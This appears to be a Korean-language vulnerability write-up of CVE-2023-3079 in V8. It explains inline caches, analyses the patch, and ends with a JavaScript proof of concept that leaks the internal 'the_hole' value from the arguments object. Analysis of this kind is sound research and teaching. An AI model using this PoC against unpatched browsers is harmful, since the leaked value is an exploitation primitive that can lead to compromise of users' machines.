본문 바로가기

Research/Browser

CVE-2023-3079 (Bug in the handling of the arguments object)

Environment Setting

Install depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

Get V8 source code

mkdir v8
cd v8
fetch v8
cd v8
git checkout 4217c51611830d98d7fd7b8c922571942a87ad2e
gclient sync -D

Install build dependencies

./build/install-build-deps.sh

Build V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false"
gn gen out/release --args="v8_no_inline=true is_debug=false"
ninja -C out/debug d8; ninja -C out/release d8

Install GDB plugin

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

Prerequisite Knowledge

JavaScript engine pipeline

JS 엔진(V8 in Chrome)은 JS 코드를 AST(Abstract Syntax Tree)로 만들고, 인터프리터(Ignition in V8)는 AST에 기반하여 bytecode를 생성합니다.

실행 속도를 증가시키기 위해, JIT(Just-In-Time) 컴파일러(Turbofan in V8)는 런타임에 JS 코드의 함수를 최적화합니다. Bytecode가 실행될 때 JS 엔진이 profiling data(feedback)를 수집하여 컴파일러에게 보내면, 컴파일러는 이 정보로부터 함수에 대한 assumption을 얻고 이 assumption을 기반으로 최적화를 진행합니다. 만약 최적화 이후에 assumption에 위배되는 상황이 생기면 deoptimization이 진행되어 다시 원래의 bytecode로 돌아갑니다.

Bytecode handler

JS 코드 실행 시 생성되는 bytecode는 다음과 같이 확인할 수 있습니다.

/* test.js */

function get(obj, prop) {
    return obj[prop];
}
let o = { a: 1 };
get(o, 'a');
$ ~/v8/v8/out/debug/d8 test.js --print-bytecode --print-bytecode-filter='get'
[generated bytecode for function: get (0x1dab000dadbd <SharedFunctionInfo get>)]
Bytecode length: 6
Parameter count 3
Register count 0
Frame size 0
Bytecode age: 0
         0x1dab000dafd2 @    0 : 0b 04             Ldar a1
         0x1dab000dafd4 @    2 : 2f 03 00          GetKeyedProperty a0, [0]
         0x1dab000dafd7 @    5 : aa                Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)

Object에서 property의 값을 가져오는 작업은 bytecode에서 GetKeyedProperty에 해당합니다.

V8이 bytecode를 실행하다가 operator 역할을 하는 instruction들(Ldar, GetKeyedProperty, Return 등)을 만나면 미리 정의된 handler를 호출합니다. Handler를 가지고 있는 bytecode들은 다음과 같이 정의되어 있습니다.

/* v8/src/interpreter/bytecodes.h */

// The list of bytecodes which have unique handlers (no other bytecode is
// executed using identical code).
// Format is V(<bytecode>, <implicit_register_use>, <operands>).
#define BYTECODE_LIST_WITH_UNIQUE_HANDLERS(V)
...
  /* Property loads (LoadIC) operations */                                     \
...
  V(GetKeyedProperty, ImplicitRegisterUse::kReadWriteAccumulator,              \
    OperandType::kReg, OperandType::kIdx)  
...

Bytecode의 handler는 V8 빌드 과정에서 IGNITION_HANDLER에 의해 정의됩니다.

/* v8/src/interpreter/interpreter-generator.cc */

// GetKeyedProperty <object> <slot>
//
// Calls the KeyedLoadIC at FeedBackVector slot <slot> for <object> and the key
// in the accumulator.
IGNITION_HANDLER(GetKeyedProperty, InterpreterAssembler) {
  TNode<Object> object = LoadRegisterAtOperandIndex(0);
  TNode<Object> name = GetAccumulator();
  TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(1);
  TNode<HeapObject> feedback_vector = LoadFeedbackVector();
  TNode<Context> context = GetContext();

  TVARIABLE(Object, var_result);
  var_result = CallBuiltin(Builtin::kKeyedLoadIC, context, object, name, slot,
                           feedback_vector);
  SetAccumulator(var_result.value());
  Dispatch();
}

정의된 handler는 빌드 디렉토리의 gen에 생성되는 별도의 파일에 저장됩니다.

/* v8/out/debug/gen/builtins-generated/bytecodes-builtins-list.h */

#define BUILTIN_LIST_BYTECODE_HANDLERS(V) \
...
  V(GetKeyedPropertyHandler, interpreter::OperandScale::kSingle, interpreter::Bytecode::kGetKeyedProperty) \
/* v8/out/debug/gen/embedded.S */

Builtins_GetKeyedPropertyHandler:
.type Builtins_GetKeyedPropertyHandler, @function
.size Builtins_GetKeyedPropertyHandler, 1404
  .octa 0x84ba0d74d93b48fffffff91d8d48,0x48226ae5894855cc0000504095ff4100
  .octa 0x894cf0e4834808ec8348e2894948ec83,0x894ce8458948d04d894ce07d894c2414
  .octa 0x928b00001a08958b490000002abef065,0x1c88858b49e7894cd6034900005443
  .octa 0x4d00000000158d4ccc01740fc4f64000,0x6845c749d0ff686d8949705589
  .octa 0xf0e4834808ec8348e2894924248b4800,0x47928b00001a08958b49f6332414894c
  .octa 0x1c88858b49e87d8b48d60349000054,0x4d00000000158d4ccc01740fc4f64000
  .octa 0x6845c749d0ff686d8949705589,0xbe0f43f05d8b4cd0458b4c24248b4800
  .octa 0x2ba0d76c23b49ffffffffba41010344,0x48005d8b48cc0000504095ff41000000
  .octa 0x3b4dffffffffba4102035cb60f47c063,0xcc0000504095ff4100000002ba0d76da
  .byte 0x48,0x8b,0x53,0xf0,0x48,0x8b,0x4,0xc3
...

Inline cache (IC)

JS에서 모든 것은 object로 처리됩니다. 따라서 object의 property에 접근하는 작업이 매우 빈번하게 수행되고, 이 과정을 최적화하는 것은 실행 속도에 큰 영향을 미치므로 굉장히 중요합니다. Inline cache는 이러한 최적화의 한 종류입니다.

V8이 object의 property에 접근할 때, object의 map으로부터 property의 index를 알아내고 그 index로 접근하는 과정을 거칩니다.

Inline cache의 아이디어는, 함수가 호출되는 시점에 object의 map(shape)과 그로부터 알아낸 property의 index를 기억(cache)했다가, 나중에 같은 map을 가진 object가 들어왔을 때 property에 접근하는 과정을 생략하고 caching된 index를 그대로 사용하는 것입니다.

이 과정을 코드에서 따라가 보겠습니다.

다음과 같이 디버깅 메시지를 추가해 줍니다.

/* v8/src/ic/ic.cc */

RUNTIME_FUNCTION(Runtime_KeyedLoadIC_Miss) {
  printf("Runtime_KeyedLoadIC_Miss()\n");
...
  vector->Print();
  printf("\n");
  RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));
}
/* v8/src/ic/ic.cc */

MaybeHandle<Object> KeyedLoadIC::Load(Handle<Object> object,
                                      Handle<Object> key) {
  printf("KeyedLoadIC::Load()\n");
  printf("key: ");
  key->Print();
  printf("\n");
...
}

Inline cache가 활성화되어 있을 경우, Builtins_GetKeyedPropertyHandler는 object의 map과 접근하고자 하는 property가 cache에 저장된 것과 같은지 먼저 확인하고, 만약 다르면(miss) Runtime_KeyedLoadIC_Miss()를 호출합니다. Runtime_KeyedLoadIC_Miss()KeyedLoadIC::Load()를 호출하여 property의 값을 가져옵니다.

/* test.js */

function get(obj, prop) {
    return obj[prop];
}

let o = { a: 1 };
for (let i = 0; i < 9; i++) { get(o, 'a'); } // warmup for IC

// IC state: UNINITIALIZED

get(o, 'a'); // (1) miss (activate inline cache)
% DebugPrint(o);

// IC state: MONOMORPHIC

o.b = 2;
get(o, 'a'); // (2) miss (o has new map)
% DebugPrint(o);

// IC state: POLYMORPHIC

get(o, 'b'); // (3) miss (access to new property)
% DebugPrint(o);

// IC state: MEGAMORPHIC

get(o, 'c'); // (4) miss (access to new property)

위의 코드에서, get()이 10번째로 호출될 때부터 inline cache가 활성화됩니다. 실행시켜 보면 Runtime_KeyedLoadIC_Miss()가 네 번 호출됩니다.

~/v8/v8/out/debug/d8 test.js --allow-natives-syntax

(1)에서는 inline cache가 처음으로 활성화됩니다. FeedbackVectorslot이 비어 있는 상태(UNINITIALIZED)이고, 따라서 miss가 발생합니다. o.a에 한 번 접근하고 나면 이 시점에서의 o의 map과 a property의 index가 slot에 저장되고, MONOMORPHIC(slot에 한 개의 map만 저장된 상태)이 됩니다.

(2)에서는 ob property를 새로 추가하여 새로운 map을 가지게 되고, 따라서 miss가 발생합니다. 마찬가지로 이 시점에서의 o의 map과 a property의 index가 slot에 저장되고, POLYMORPHIC(slot에 2개 이상의 map이 저장된 상태)이 됩니다.

(3)에서는 cache에 a property의 정보가 저장되어 있는 상태에서 b라는 새로운 property의 접근하여 miss가 발생합니다. 두 가지 이상의 property에 접근할 경우 slot의 상태는 MEGAMORPHIC이 됩니다.

Arguments

JavaScript에서 arguments는 함수의 매개변수를 저장하고 있는 object입니다.

/* test.js */

function f() {
    % DebugPrint(arguments);
}

f();
f(1, 2, 3);

Analysis

Patch diff

패치의 변경 사항을 보면, KeyedStoreIC::StoreElementHandler()에서 특정한 상황을 처리하는 코드가 추가되었습니다.

diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index 05ee161..3bc8653 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -2303,10 +2303,18 @@
              receiver_map->has_sealed_elements() ||
              receiver_map->has_nonextensible_elements() ||
              receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
+    // TODO(jgruber): Update counter name.
     TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
-    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
-    if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
-      return code;
+    if (receiver_map->IsJSArgumentsObjectMap() &&
+        receiver_map->has_fast_packed_elements()) {
+      // Allow fast behaviour for in-bounds stores while making it miss and
+      // properly handle the out of bounds store case.
+      code = StoreHandler::StoreFastElementBuiltin(isolate(), STANDARD_STORE);
+    } else {
+      code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
+      if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
+        return code;
+      }
     }
   } else if (IsStoreInArrayLiteralIC()) {
     // TODO(jgruber): Update counter name.
@@ -2317,7 +2325,7 @@
     TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreElementStub);
     DCHECK(DICTIONARY_ELEMENTS == receiver_map->elements_kind() ||
            receiver_map->has_frozen_elements());
-    code = StoreHandler::StoreSlow(isolate(), store_mode);
+    return StoreHandler::StoreSlow(isolate(), store_mode);
   }

   if (IsAnyDefineOwn() || IsStoreInArrayLiteralIC()) return code;

패치 후에는 if(receiver_map->IsJSArgumentsObjectMap() && receiver_map->has_fast_packed_elements()) 조건문을 만족할 경우 KeyedStoreIC::StoreElementHandler()의 인자로 전달된 store_mode를 무시하고 STANDARD_STORE로 처리합니다. 이 조건을 맞춰 주면 버그가 발생할 것이라고 추측할 수 있습니다.

Reaching to vulnerable code

KeyedStoreIC::StoreElementHandler()를 호출하는 함수는 KeyedStoreIC::UpdateStoreElement()KeyedStoreIC::StoreElementPolymorphicHandlers()가 있습니다. 그런데 KeyedStoreIC::StoreElementPolymorphicHandlers()KeyedStoreIC::UpdateStoreElement()에서만 호출되기 때문에, 결과적으로 KeyedStoreIC::StoreElementHandler()까지 도달할 수 있는 경로는 다음의 두 가지입니다.

  • KeyedStoreIC::Store()KeyedStoreIC::UpdateStoreElement()KeyedStoreIC::StoreElementHandler()
  • KeyedStoreIC::Store()KeyedStoreIC::UpdateStoreElement()KeyedStoreIC::StoreElementPolymorphicHandlers()KeyedStoreIC::StoreElementHandler()
/* v8/src/ic/ic.cc */

MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
                                        Handle<Object> key,
                                        Handle<Object> value) {
...
  if (key_type == kName) {
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate(), store_handle,
        StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),
        Object);
    if (vector_needs_update()) {
      if (ConfigureVectorState(MEGAMORPHIC, key)) {
        set_slow_stub_reason("unhandled internalized string key");
        TraceIC("StoreIC", key);
      }
    }
    return store_handle;
  }
...

KeyedStoreIC::Store()에서 key_typekName이면 StoreIC::Store()로 넘어가기 때문에, 추가하고자 하는 property는 indexed property여야 합니다.

/* v8/src/ic/ic.cc */

MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
                                        Handle<Object> key,
                                        Handle<Object> value) {
...
  if (use_ic) {
    if (!old_receiver_map.is_null()) {
      if (is_arguments) {
        set_slow_stub_reason("arguments receiver");
      } else if (object->IsJSArray() && IsGrowStoreMode(store_mode) &&
                 JSArray::HasReadOnlyLength(Handle<JSArray>::cast(object))) {
        set_slow_stub_reason("array has read only length");
      } else if (object->IsJSObject() && MayHaveTypedArrayInPrototypeChain(
                                             Handle<JSObject>::cast(object))) {
        // Make sure we don't handle this in IC if there's any JSTypedArray in
        // the {receiver}'s prototype chain, since that prototype is going to
        // swallow all stores that are out-of-bounds for said prototype, and we
        // just let the runtime deal with the complexity of this.
        set_slow_stub_reason("typed array in the prototype chain");
      } else if (key_is_valid_index) {
        if (old_receiver_map->is_abandoned_prototype_map()) {
          set_slow_stub_reason("receiver with prototype map");
        } else if (old_receiver_map->has_dictionary_elements() ||
                   !old_receiver_map->MayHaveReadOnlyElementsInPrototypeChain(
                       isolate())) {
          // We should go generic if receiver isn't a dictionary, but our
          // prototype chain does have dictionary elements. This ensures that
          // other non-dictionary receivers in the polymorphic case benefit
          // from fast path keyed stores.
          Handle<HeapObject> receiver = Handle<HeapObject>::cast(object);
          UpdateStoreElement(old_receiver_map, store_mode,
                             handle(receiver->map(), isolate()));
        } else {
...
}

UpdateStoreElement()까지 도달하기 위한 여러 개의 조건들 중 is_argumentsfalse여야 한다는 것이 있습니다. Property를 추가하고자 하는 object가 arguments이면 안 된다는 것입니다.

그런데 앞의 patch diff를 보면, KeyedStoreIC::StoreElementHandler()에서 취약한 코드에 도달하기 위해서는 receiver_map->IsJSArgumentsObjectMap()true여야 합니다. 두 가지 조건이 상충되기 때문에 첫 번째 경로로는 불가능합니다.

/* v8/src/ic/ic.cc */

void KeyedStoreIC::StoreElementPolymorphicHandlers(
    std::vector<MapAndHandler>* receiver_maps_and_handlers,
    KeyedAccessStoreMode store_mode) {
  std::vector<Handle<Map>> receiver_maps;
  for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
    receiver_maps.push_back(receiver_maps_and_handlers->at(i).first);
  }

  for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
...
    if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||
...
    } else {
...
      if (!transition.is_null()) {
        TRACE_HANDLER_STATS(isolate(),
                            KeyedStoreIC_ElementsTransitionAndStoreStub);
        handler = StoreHandler::StoreElementTransition(
            isolate(), receiver_map, transition, store_mode, validity_cell);
      } else {
        handler = StoreElementHandler(receiver_map, store_mode, validity_cell);
      }
    }
    DCHECK(!handler.is_null());
    receiver_maps_and_handlers->at(i) =
        MapAndHandler(receiver_map, MaybeObjectHandle(handler));
  }
}

두 번째 경로에서 거쳐 가는 KeyedStoreIC::StoreElementPolymorphicHandlers()FeedbackVector slot의 state가 POLYMORPHIC일 때 호출되고, 저장된 map들에 대해 각각 StoreElementHandler()를 호출합니다. 따라서 먼저 arguments를 slot에 넣어 두고 그 다음에 임의의 object에 indexed property를 저장하려고 하면 취약한 코드에 도달할 수 있습니다.

/* v8/src/ic/ic.cc */

Handle<Object> KeyedStoreIC::StoreElementHandler(
    Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
    MaybeHandle<Object> prev_validity_cell) {
  printf("KeyedStoreIC::StoreElementHandler()\n");
  printf("receiver_map: ");
  receiver_map->Print();
  printf("store_mode: %d\n", store_mode);
...
  // TODO(ishell): move to StoreHandler::StoreElement().
  Handle<Object> code;
  printf("receiver_map->has_sloppy_arguments_elements() == %d\n", receiver_map->has_sloppy_arguments_elements());
  printf("receiver_map->IsJSArgumentsObjectMap() == %d\n", receiver_map->IsJSArgumentsObjectMap());
  printf("receiver_map->has_fast_packed_elements() == %d\n", receiver_map->has_fast_packed_elements());
  printf("\n");
  if (receiver_map->has_sloppy_arguments_elements()) {
...
/* test.js */

function store(obj, prop, val) {
    obj[prop] = val;
}

function f() {
    let o = {};
    for (let i = 0; i < 9; i++) { store(o, 'a', 1); } // warmup for IC

    store(arguments, 'a', 1);
    store(o, 0, 1); // call KeyedStoreIC::StoreElementPolymorphicHandlers()
}

f();
~/v8/v8/out/debug/d8 test.js

Bug

KeyedStoreIC::StoreElementHandler()에서 store_modeSTORE_AND_GROW_HANDLE_COW일 경우 문제가 발생합니다.

/* v8/src/ic/ic.cc */

Handle<Object> KeyedStoreIC::StoreElementHandler(
    Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
    MaybeHandle<Object> prev_validity_cell) {
...
  if (receiver_map->has_sloppy_arguments_elements()) {
...
  } else if (receiver_map->has_fast_elements() ||
             receiver_map->has_sealed_elements() ||
             receiver_map->has_nonextensible_elements() ||
             receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
    TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
    code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
...

KeyedStoreIC::StoreElementHandler()에서는 StoreHandler::StoreFastElementBuiltin()을 호출하여 StoreHandler를 설정합니다.

/* v8/src/ic/handler-configuration-inl.h */

Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
                                                   KeyedAccessStoreMode mode) {
  switch (mode) {
    case STANDARD_STORE:
      return BUILTIN_CODE(isolate, StoreFastElementIC_Standard);
    case STORE_AND_GROW_HANDLE_COW:
      return BUILTIN_CODE(isolate,
                          StoreFastElementIC_GrowNoTransitionHandleCOW);
    case STORE_IGNORE_OUT_OF_BOUNDS:
      return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionIgnoreOOB);
    case STORE_HANDLE_COW:
      return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionHandleCOW);
    default:
      UNREACHABLE();
  }
}

store_modeSTORE_AND_GROW_HANDLE_COW일 경우 StoreFastElementIC_GrowNoTransitionHandleCOWStoreHandler로 설정되는데, 이러한 receiver는 element가 추가되어 elements array가 확장(Grow)되어도 map이 변하지 않는다(NoTransition)는 의미입니다.

이것이 문제가 되는 이유는,

/* test.js */

function f() {
    let o = {};

    % DebugPrint(o);
    o[0] = 1;
    % DebugPrint(o);
}
f();
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax

일반적인 object의 경우 element가 없을 때 ElementsKindHOLEY_ELEMENTS이고, element를 추가해서 elements array가 확장되어도 그대로 HOLEY_ELEMENTS이면 문제가 없기 때문에 map이 바뀌지 않습니다.

/* test.js */

function f() {
    let o = arguments;

    % DebugPrint(o);
    o[0] = 1;
    % DebugPrint(o);
}
f();
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax

반면, arguments는 element가 없을 때 ElementsKindPACKED_ELEMENTS이므로, element를 추가하여 elements array가 확장되면 HOLEY_ELEMENTS로 바뀌어야 합니다. 즉, map이 바뀌는 것이 정상적인 동작입니다.

/* v8/src/ic/ic.cc */

Handle<Object> KeyedLoadIC::LoadElementHandler(Handle<Map> receiver_map,
                                               KeyedAccessLoadMode load_mode) {
...
  bool convert_hole_to_undefined =
      (elements_kind == HOLEY_SMI_ELEMENTS ||
       elements_kind == HOLEY_ELEMENTS) &&
      AllowConvertHoleElementToUndefined(isolate(), receiver_map);
...
  return LoadHandler::LoadElement(isolate(), elements_kind,
                                  convert_hole_to_undefined, is_js_array,
                                  load_mode);
}

Object의 ElementsKindHOLEY_ELEMENTS인 경우, element의 값이 the_hole이면 undefined로 변환해서 가져오도록 하는 convert_hole_to_undefined flag가 true로 설정됩니다.

만약 arguments의 map이 바뀌지 않으면 ElementsKind가 그대로 PACKED_ELEMENTS로 남게 되고, elements array의 빈 공간을 채우고 있는 the_hole들에 접근했을 때 undefined로 변환하지 않고 그대로 가져오게 되어, the_hole을 leak할 수 있는 취약점이 발생합니다.

PoC

/* v8/src/ic/ic.cc */

KeyedAccessStoreMode GetStoreMode(Handle<JSObject> receiver, size_t index) {
  bool oob_access = IsOutOfBoundsAccess(receiver, index);
  // Don't consider this a growing store if the store would send the receiver to
  // dictionary mode.
  bool allow_growth =
      receiver->IsJSArray() && oob_access && index <= JSArray::kMaxArrayIndex &&
      !receiver->WouldConvertToSlowElements(static_cast<uint32_t>(index));
  if (allow_growth) {
    return STORE_AND_GROW_HANDLE_COW;
  }
  if (receiver->map().has_typed_array_or_rab_gsab_typed_array_elements() &&
      oob_access) {
    return STORE_IGNORE_OUT_OF_BOUNDS;
  }
  return receiver->elements().IsCowArray() ? STORE_HANDLE_COW : STANDARD_STORE;
}

store_modeSTORE_AND_GROW_HANDLE_COW로 설정되려면 receiver가 array여야 하고 접근하고자 하는 index가 현재 array의 size보다 커야 합니다.

/* poc.js */

function store(obj, prop, val) {
    obj[prop] = val;
}

function leak_hole() {
    let arr = [];
    for (let i = 0; i < 9; i++) { store(arguments, 'a', 1); } // warmup for IC

    store(arguments, 'a', 1);
    store(arr, 0, 1); // store_mode == STORE_AND_GROW_HANDLE_COW

    store(arguments, 0, 0); // ElementsKind of arguments is still PACKED_ELEMENTS
    % DebugPrint(arguments);
}

leak_hole();
~/v8/v8/out/debug/d8 poc.js --allow-natives-syntax

arguments[0]을 추가하면서 argumentselements array가 확장되어 빈 공간들에 the_hole이 들어갔는데 ElementsKindPACKED_ELEMENTS인 것을 확인할 수 있습니다. 이 상태에서 arguments[1]부터 arguments[16]까지에 접근하면 the_hole을 얻을 수 있습니다.

/* poc.js */

function store(obj, prop, val) {
    obj[prop] = val;
}

function leak_hole() {
    let arr = [];
    for (let i = 0; i < 9; i++) { store(arguments, 'a', 1); } // warmup for IC

    store(arguments, 'a', 1);
    store(arr, 0, 1); // store_mode == STORE_AND_GROW_HANDLE_COW

    store(arguments, 0, 0); // ElementsKind of arguments is still PACKED_ELEMENTS
    return arguments[16];
}

let hole = leak_hole();
% DebugPrint(hole);
$ ~/v8/v8/out/debug/d8 poc.js --allow-natives-syntax
DebugPrint: 0x13fd0000026d: [Hole] in ReadOnlySpace
0x13fd000001a1: [Map] in ReadOnlySpace
 - type: HOLE_TYPE
 - instance size: 16
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x13fd00000251 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x13fd00000289 <DescriptorArray[0]>
 - prototype: 0x13fd00000235 <null>
 - constructor: 0x13fd00000235 <null>
 - dependent code: 0x13fd00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

References